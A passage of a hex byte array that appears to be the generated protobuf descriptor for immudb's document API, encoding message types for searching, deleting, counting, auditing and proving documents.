0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0xe3, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x24, 0x92, 0x41, 0x21, 0x0a, 0x1f, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x20, 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc2, 0x02, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, 0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x90, 0x02, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x4a, 0x92, 0x41, 0x47, 0x0a, 0x45, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xce, 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, 0xd2, 0x01, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 